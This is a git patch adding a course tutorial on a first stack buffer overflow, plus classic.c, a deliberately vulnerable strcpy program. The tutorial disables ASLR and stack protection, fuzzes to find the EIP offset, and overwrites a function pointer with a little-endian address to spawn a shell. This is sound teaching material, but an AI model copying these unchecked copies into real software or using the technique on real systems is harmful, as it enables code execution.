From cccead77f05eb1630d8ad6196bb8bd8f28026ccd Mon Sep 17 00:00:00 2001 From: Dan Goldsmith Date: Wed, 18 Nov 2020 18:35:43 +0000 Subject: [PATCH] Slides Update --- FirstOverflow.md | 345 +++++++++++++++++++++++++++++++++++++++++++++++ classic.c | 24 ++++ 2 files changed, 369 insertions(+) create mode 100644 FirstOverflow.md create mode 100644 classic.c diff --git a/FirstOverflow.md b/FirstOverflow.md new file mode 100644 index 0000000..d4dd511 --- /dev/null +++ b/FirstOverflow.md @@ -0,0 +1,345 @@ +# Introduction + +In the last article we looked how programs allocate memory when +calling functions, this time we will examine what happens when a value +stored on the stack overflows. + +## Overflowing Data on the Stack +When a C program defines a Variable, space is allocated on the stack +for the data. So in our example above ```theString[10]```, ten 'slots' +of memory on the stack will be allocated. + +If there are multiple variables, then space will be allocated for all +of them sequentially on the stack, consider the following code: + +~~~ c +char theString[10]; +int firstNumber; +int secondNumber; +~~~ + +Space on the stack for each of the variables would be allocated: + + - 10 Bytes, for theString variable. + - 4 Bytes, for the firstNumber variable. + - 4 Bytes, for the secondNumber variable. + +So our stack could conceivably look like this + +| Memory Address | Variable | +|----------------|--------------| +| 0 | TheString | +| 10 | firstNumber | +| 14 | secondNumber | + + +> NOTE: The order of the variables in the code, may not necessary +> correspond to the order on the stack. The compiler may optimise the +> variable order to let variable addresses align and improve +> efficiency. This has bitten me in interesting ways in the past. + +Now for the interesting part, Lets imagine we assign 4 bytes of data +to the String variable, the program will. + + - Lookup the address for the start of the variable on the stack (Address 0) + - Write the 4 bytes of data sequentially, starting from that + address. (Ie address slots 0-3) + +This is great, so far we haven't broken anything. However if we try to +write 12 Items we get a problem, as there are no checks done on the +length of the expected data, we end up writing to address slots +(0-11), this will overwrite the first two bytes of the value stored in +the *firstNumber* variable. + +However, its not just variables that are stored on the stack. Recall +from the previous article, that the stack frame also contains a +**Return Address**, that is used to tell the program the next +instruction to execute when the function ends. + +This address is also not protected, and can be overwritten by the +overflow. This is at the core of the buffer overflow attack, if we +can control what happens when the function exits, then we can tell the +program what to do. + +[You can see a video demonstrating this](3-BufferOverflows) + + +## My First overflow. + +That's enough theory, lets get on and break something. This example is +a simple buffer overflow where we are going to redirect the program +flow to change the way the program behaves. + +The code for this task is [MyFirstOverflow.c](), Lets see what it does: + +~~~ c + +#include +#include +#include + +int BUFFER=500; + +void win(void){ + /*Win Condition + We Want to jump here + */ + printf("\n ===== Win ===== \n\n"); + system("/bin/sh"); //Tradition to get a shell +} + +void lose(void){ + /* Lose Condition */ + printf("Current Memory Address is %p\n",lose); + printf("Aim for %p\n", win); + printf("Lose :(\n"); +} + +int main(int argc, char* argv[]){ + /* Main Function*/ + + //Pointer to the lose function + void (*fp)(void) = lose; + + char buffer[BUFFER]; + + if (argc != 2){ + printf("Overflow the buffer\n"); + printf("Hint! Try `python -c \"print 'A'*100\"`\n"); + return -1; + } + + memcpy(buffer, argv[1], strlen(argv[1])); + printf("Off to %p\n",fp); + fp(); + + return 0; +} +~~~ + +There are two functions, one each for a Win and Lose condition. We also have the Main function that: + + - Stores a pointer to the lose function as a variable + - Allocates a buffer of 500 Bytes. + - Copy's user input into this buffer + - Calls the pointer stored in the variable. + +## Compiling the Code and Turning off the protection mechanisms + +We are also going to do this in "Easy Mode" by turning off the various +protection mechanisms, and compiling the code in 32 Bit mode (this is not essential, but quirks in 64 bit addressing make it harder, lets an already complex thing simple and deal with 64 bits later) + + +We First want to turn off ASLR. On your Kali VM you can do this by changing the value in proc. +Note that you will need to be root. + +~~~ term +$sudo su +[sudo] password for dang: +[root@dang-laptop Code]# echo 0 > /proc/sys/kernel/randomize_va_space +[root@dang-laptop Code]# exit +exit +~~~ + +We also compile the code in 32bit mode, with stack canaries turned off. (If it gives you an error about 32bit libraries not being available you can install them with ```apt install gcc-multilib```) + +~~~ term +gcc -fno-stack-protector -m32 -g -z execstack MyFirstOverflow.c -o FirstOverflow +~~~ + +## Overflowing the Buffer. + +When we run the code, we get a prompt asking for Input. Specifying an +argument takes us to the Lose condition. + +>NOTE: If you run the code a couple of times and the memory addresses +>change, you need to check ASLR is turned off. + +~~~ +$./FirstOverflow +Overflow the buffer +Hint! Try `python -c "print 'A'*100"` + +$./FirstOverflow A +Off to 0x56556209 +Current Memory Address is 0x56556209 +Aim for 0x565561cd +Lose :( +~~~ + +We know from the source we need over 500 Bytes of data for the +overflow. We could sit and press "A" 500 times, or we could +cheat. Python allows one liners to be executed in-line using the +```-c``` flag. For example + +~~~ +$python2 -c "print 'A'*25" +AAAAAAAAAAAAAAAAAAAAAAAAA +~~~ + +To get this to run as an argument to the function we need to tell the shell to evaluate the python command before passing it as an argument (Otherwise we full the buffer with the string "python2 -c "print 'A'*25""). +We can use Backticks (`) NOTE: backticks are not the single quote. On a UK keyboard they are at the top left, next to the 1 key. Alternative we could use the Dollar Syntax ```$(command)```. + +Lets pick a big number like 600 that should break the program: + +~~~ +#Using Backticks +$./FirstOverflow `python2 -c "print 'A'*600"` +Off to 0x41414141 +[2] 6946 segmentation fault (core dumped) ./FirstOverflow `python2 -c "print 'A'*600"` + +#Uing the Dollar Syntax +$./FirstOverflow $(python2 -c "print 'A'*600") +Off to 0x41414141 +[2] 6865 segmentation fault (core dumped) ./FirstOverflow $(python2 -c "print 'A'*600") +~~~ + +## Getting Control of the Instruction Pointer. + +So we get an error message printed, then the program falls over with a +segfault. This shows something is happening with the overflow. Our next +stage is to get hold of the Instruction pointer so we can modify the +code behaviour. + +Usually, this would mean a detour into a debugger to examine the +register values. However, whoever wrote this code did a great job, and +added a bit of magic that prints the instruction pointer before things +fall over. + +To get find the offset we need to Control EIP we use a process called +"Fuzzing the Buffer", Modifying the input values until we start to get +data we control in IP. I like to use a binary search approach, as it +means I can zero in on the values needed quickly. + +~~~ +#600 Is to much data +$./FirstOverflow `python2 -c "print 'A'*600"` +Off to 0x41414141 +[2] 7162 segmentation fault (core dumped) ./FirstOverflow `python2 -c "print 'A'*600"` + +#500 Isn't enough +$./FirstOverflow `python2 -c "print 'A'*500"` +Off to 0x56556209 +Current Memory Address is 0x56556209 +Aim for 0x565561cd +Lose :( + +#Try a value halfway between 500 and 600, which to too high +$./FirstOverflow `python2 -c "print 'A'*550"` +Off to 0x41414141 +[2] 7317 segmentation fault (core dumped) ./FirstOverflow `python2 -c "print 'A'*550"` + +#Halfway between 500 and 550... +$./FirstOverflow `python2 -c "print 'A'*525"` +Off to 0x56556241 +[2] 7396 illegal hardware instruction (core dumped) ./FirstOverflow `python2 -c "print 'A'*525"` +~~~ + +At 525 Bytes of input, something interesting happens. We don't get a +Segfault, but instead an Illegal Instruction. We can also see that the last value of the address we are heading to is **41** (ASCII for "A"). This shows us we are getting close to controlling EIP, increasing the number of 'A's gives us two 41's in the register. + +~~~ +$./FirstOverflow `python2 -c "print 'A'*526"` +Off to 0x56554141 +[2] 7478 segmentation fault (core dumped) ./FirstOverflow `python2 -c "print 'A'*526"` +~~~ + +So we can infer that the offset to control EIP is 524 Characters, with +the next 4 being the value stored in EIP. + +I like to double check this by submitting the offset, then four 'B's. +If EIP then contains 42424242, I know I control it, I could use any +character, but B seems like the answer to everything ;) + +~~~ +$./FirstOverflow `python2 -c "print 'A'*524+'BBBB'"` +Off to 0x42424242 +[2] 7577 segmentation fault (core dumped) ./FirstOverflow `python2 -c "print 'A'*524+'BBBB' +~~~ + +So I get 4 B's in the value for EIP. They don't appear anywhere else in +my input which means I control the Instruction pointer (and therefore +the next address the program will execute) + + +## Changing Program Flow. + +Now we need to change the address the program will execute when it +calls the function. Running the program without an overflow gives us +the Address we need to aim for ```0x565561cd``` + +~~~ +$./FirstOverflow `python2 -c "print 'A'*500+'BBBB'"` +Off to 0x56556209 +Current Memory Address is 0x56556209 +Aim for 0x565561cd +Lose :( +~~~ + +We now encounter our last problem. Another holy war in coding revolves +around how we store (or the endianness) memory addresses. + +The x86 architecture uses a "little endian" approach, where the byte +order of the address is reversed. We can see this is we use the input +'BCDE' as the value we overflow EIP with. + +~~~ +$./FirstOverflow `python2 -c "print 'A'*524+'BCDE'"` +Off to 0x45444342 +~~~ + +Notice that the address we will visit is 0x45 (E) 0x44 (D) 0x43 (C) +0x42 (B). So we need to fix the endianness of the address we want to +jump to when we add it to the overflow. + +The process I take is to break the address into bytes, then reverse the +order of those pairs. So ```0x565561cd``` Becomes +```0x56```,```0x55```,```0x61```,```0xCD``` + +Reversed that is ```0xCD 0x61 0x55 0x56```. Lets enter this into our +python code to overflow the buffer, in python we can use ```\x``` to +represent a hex pair. + +~~~ +$./FirstOverflow `python2 -c "print 'A'*524+'\xcd\x61\x55\x56'"` +Off to 0x565561cd + + ===== Win ===== + +sh-5.0$ +~~~ + +So we get the win condition, and drop a shell. + +## Summary + +In this article we have completed our first buffer overflow, using a +flawed in the code to redirect program flow. There have been quite a +few concepts covered here, but we have our basic buffer overflow exploit procedure. + + - Overflow the buffer so the code breaks + - Fuzz the buffer to find the offset we need to Control EIP + - Calculate the target address + - Use this, and the offset to modify the codes behaviour. + +In the next article we look at the differences between 32 and 64 bit +overflows, and break our code on a more common architecture. + +# Task + +Work through the example, and try to get a shell. + +When it comes to the task, you may want to modify the size of the +buffer you are working with. This should help you practice finding +the offset for EIP. + +Its also possible to break the code without using a 4 byte address, +(ie we don't need to enter the whole target address), can you think of +why this is, discuss in the forums. + + +# Links + +- Aleph One's "Smashing the Stack for Fun and Profit" + + diff --git a/classic.c b/classic.c new file mode 100644 index 0000000..7653ce9 --- /dev/null +++ b/classic.c @@ -0,0 +1,24 @@ +#include +#include +#include + +int BUFFER=200; + +int copy(char* input){ + char buffer[BUFFER]; + strcpy(buffer, input); + +} + +int main(int argc, char* argv[]){ + /* Main Function*/ + char buf[400]; + printf("Smash The Stack\n"); + //Get the data + int r; + r = read(0, buf, 400); //Save Version + + int out = copy(buf); + printf("Lose :(\n"); + return 0; +}